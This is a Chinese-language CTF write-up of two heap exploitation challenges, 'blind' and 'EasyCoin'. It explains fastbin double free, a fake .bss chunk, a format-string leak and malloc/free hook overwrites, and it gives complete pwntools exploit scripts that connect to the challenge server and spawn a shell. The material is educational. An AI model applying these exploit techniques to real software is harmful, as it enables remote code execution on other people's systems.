题目链接 密码: 4qbr
blind
首先是blind题目,感觉我的做法和网上放的WP有点不一样,看网上放的EXP都是通过劫持.bss段上的STDOUT指针然后通过printf函数触发,学习了一波。
题目简介
题目中给出3个功能,new、change、release。
new:可以申请6个堆块,堆块大小固定为0x68(实际分配0x70)大小的堆块,而在向堆块读入时会在读入数据后加\x00。

change: 没有什么特别的操作,只是单纯的根据bss段上的指针数组找到相应的堆块,然后限制写入大小为0x68.

release:可以看到限制了release的次数,而这个变量在bss段上,并且在free以后没有对指针数组置零,形成悬垂指针,从而具有UAF、Double Free漏洞。

漏洞利用
此题利用的难点在于这个程序没有泄露的功能和位置。
程序开启了除PIE的全部保护。
1 2 3 4 5 6
| [*] '/home/p4nda/Desktop/pwn/other/blind/blind' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
利用想法首先是利用Double Free和UAF了,由于程序操作的堆块大小都是0x70的,所以很直观的想法就是劫持0x70这个fastbin链,而对于0x70这个数值很敏感,由于libc内存地址是0x7fxxxxxx,因此可以通过错位构造,将__malloc_hook-0x23这个块被分配,但由于没有libc地址泄露,此方法不可行。然而,在bss段上还有另外的0x7fxxx,就是STDIN、STDOUT、STDERR,

而如果查看x/5gx 0x602045-8作为堆块,就会发现这个堆块大小为0x7f,当在fastbin链上的话,是可以分配的。

而这时,我们就可以对bss段进行写入,造成任意地址写了。但是由于got表不可以改,因此泄露成为一个问题。我想到的思路是让libc地址恰好出现在bss段上ptr[]数组内,这样就可以对libc地址进行任意写了。
又想到,当free时,是不会检查free的大小和位置的,只要任意构造符合要求的堆块大小就可以使其被释放到bin中,而在unsorted bin中的堆块,fd和bk会指向main_arena+88,这样就可以写libc了。
因此通过在bss段上构造一个地址为ptr-0x10,大小为0x100的内存块,然后将其free,就可以使ptr[0],ptr[1]指向main_arena+88了。

可以看到,堆块构造如上图,构造过程中必须保证0x100大小块的下一块标志位为1,并且构造下两块的标志位也为1,否则无法过free的检查。
在free掉该块以后,发现伪造的堆块进入unsorted bin。

当再次编辑时就可以修改bss段了,但是在这时发现一个特点,在这个版本的libc中将mainarena+88的最低位改成\x00,恰好变成\_malloc_hook-0x10。因此找到一个新的想法,题目所用的编辑函数中会在输入的末位写\x00,可以将ptr[4],指向ptr[0],在编辑时,可以将ptr[0]写成__malloc_hook-0x10,这样再次编辑ptr[0]就可以将__malloc_hook改成题目中给的system(“/bin/sh”)函数,从而拿到shell了。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import *
debug = 0 elf=ELF('./blind') ct = string.ascii_letters+string.digits
if debug: p = process('./blind') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug' gdb.attach(p)
else: p = remote('106.75.20.44', 9999) libc = ELF('./libc.so.6') context.log_level = 'debug'
def new(index,content): p.recvuntil("Choice:") p.sendline('1') p.recvuntil('Index:') p.sendline(str(index)) p.recvuntil("Content:") p.send(content) p.recvuntil("Done")
def change(index,content): p.recvuntil("Choice:") p.sendline('2') p.recvuntil('Index:') p.sendline(str(index)) p.recvuntil("Content:") p.send(content) p.recvuntil("Done")
def free(index): p.recvuntil("Choice:") p.sendline('3') p.recvuntil('Index:') p.sendline(str(index))
new(0,'p4nda\n') new(1,'p4nda\n') free(0) free(1) free(0) new(2,p64(0x602045-8)+'\n') new(3,'p4nda\n') new(4,'p4nda\n') new(5,'a'*3+p64(0x101)*2+p64(0x602060)+p64(0x602060)*2+p64(0)+p64(0x602140)*3+'\n') change(4,p64(0x21)*12+'\n')
free(0) change(2,'\n') change(0,p64(0x4008E3)*3+'\n') p.recvuntil("Choice:") p.sendline('1') p.recvuntil('Index:') p.sendline(str(3)) p.interactive()
|
EasyCoin
这题是AAA战队的ZUHXS师傅发给我的,也是遇上了一个神奇问题,在给我发的i64文件中switch语句没显示default,我也是懒没看汇编,就漏掉了格式化字符串漏洞 www

言归正传,这题最开始并没有什么想法,只是发现了功能实现上存在问题,可以给用户自身发送coin,然后delete时会存在一个不可控的free。最后根据别人的EXP调出来的,膜做出此题的师傅…
功能分析
题目的功能比较多,首先是注册和登录,注册功能中有这样一个结构体:

其中username、password和结构体本身都是malloc(0x20)得到的0x30的内存块,coin_list这个指针最开始是置空的,后续操作中会用到。
在登录以后程序会维护一个结构体指针,根据这个指针指向的s_user结构体进行操作,共有display_user、send_coin、display_transaction、change_passwd、delete_user、logout操作。
在send_coin中出现了新的结构体s_coin

这个结构体是一个单链表,每一笔交易发生时,会分别向发送者和接受者新建并插入这个结构体,用id来标识交易,in_out标识是收到还是支出。同样的这个s_coin结构体也是也0x30大小的块。
在change_passwd函数中,会向结构体中指向的passwd指针写入数据。
最终delete_user中,会首先释放username、passwd指针,然后变量coin_list的所有coin,并从其他用户的coin_list中移除相应的s_coin并释放。


漏洞利用
在整个程序中,只找到了用户可以向自己发送coin,而在delete时会触发一个释放位置地址的漏洞。
而程序在输入指令时,可以触发一个格式化字符串漏洞,通过格式化字符串漏洞可以泄露libc、堆地址。
此题的难点在于如何利用程序逻辑来对堆块进行UAF。
首先在释放的用户存在一个正常块时,释放后,由于不会对用户的coin_list进行操作,导致该链会指向fastbin链中的已释放部分。若正常逻辑也不会受到影响,但在这个coin_list上存在对自身转账的块时,就会在fastbin上寻找coin去释放,仅需利用fastbin上的脏数据即可释放一个正在用的块。
如图是释放了username、password的fastbin结构

如图是释放了一对正常交易块的堆结构

此时,可以看到该用户s_user指向的coin_list已经与fastbin有交集

而可以看到此处是预留的脏数据,可以使其指向user2->password块

而这个块中的id位置被预置为与当前查找的id相同,当运行到这里就可以使得user2->password被释放。

当delete运行结束后,可以看到fastbin链上存在一个可修改的块

而通过user2的change_passwd功能可以修改这个fastbin块的fd指针,如将其修改到user2本身的控制块结构体
此时被劫持的fastbin结构如下

看到这样的堆结构,可以通过新建一个用户,在设置用户密码时可以覆写user2的控制块,将其password成员指向__free_hook。

此时,由于password的只指向内容为\x00,因此使用\n就可登录,登录后修改密码为system地址。在delete时,
由于username是”/bin/sh”,就相当于调用了system(“/bin/sh”);
至此拿到了shell
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import *
debug = 1 elf=ELF('./EasyCoin')
if debug: p = process('./EasyCoin') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug' gdb.attach(p,'b *0x401474')
else: p = remote('106.75.20.44', 9999) context.log_level = 'debug'
def reg(username, password): p.recvuntil('> ') p.sendline('1') p.recvuntil('> ') p.send(username) p.recvuntil('> ') p.send(password) p.recvuntil('> ') p.send(password)
def login(username, password): p.recvuntil('> ') p.sendline('2') p.recvuntil('> ') p.send(username) p.recvuntil('> ') p.send(password)
def display_user(): p.recvuntil('> ') p.sendline('1')
def send_coin(username, money): p.recvuntil('> ') p.sendline('2') p.recvuntil('> ') p.send(username) p.recvuntil('> ') p.sendline(str(money))
def display_transactpn(): p.recvuntil('> ') p.sendline('3')
def change_password(password): p.recvuntil('> ') p.sendline('4') p.recvuntil('> ') p.send(password)
def delete(): p.recvuntil('> ') p.sendline('5')
def logout(): p.recvuntil('> ') p.sendline('6')
reg('p4nda\n','pwn\n') reg('/bin/sh\n', '\x00'*0x10+'\x02') login('p4nda\n','pwn\n') p.recvuntil('> ') p.send('%9$p') p.recvuntil('Command: ') heap_base = int(p.recvuntil('\x7f')[:-2], 16) - 0x10 p.recvuntil('> ') p.send('%3$p') p.recvuntil('Command: ') libc.address = int(p.recvuntil('\x7f')[:-2], 16)- 0xf72c0 print '[*] system:',hex(libc.symbols['system']) print '[*] heap :',hex(heap_base) send_coin('/bin/sh\n',0x111) delete() reg('p4nda\n','pwn\n') login('p4nda\n','pwn\n') send_coin('/bin/sh\n',heap_base+0x100) send_coin('p4nda\n',0x3333)
delete() login('/bin/sh',p64(heap_base+0x30)) send_coin('/bin/sh',0x4444)
change_password(p64(heap_base+0xa0-0x10)) logout() reg("i_am_padding\n",p64(heap_base+0xd0)+p64(libc.symbols['__free_hook'])+p64(0xdeadbeef)+p64(0)[:-1]) login('/bin/sh','\n') change_password(p64(libc.symbols['system'])+'\n') delete()
p.interactive()
|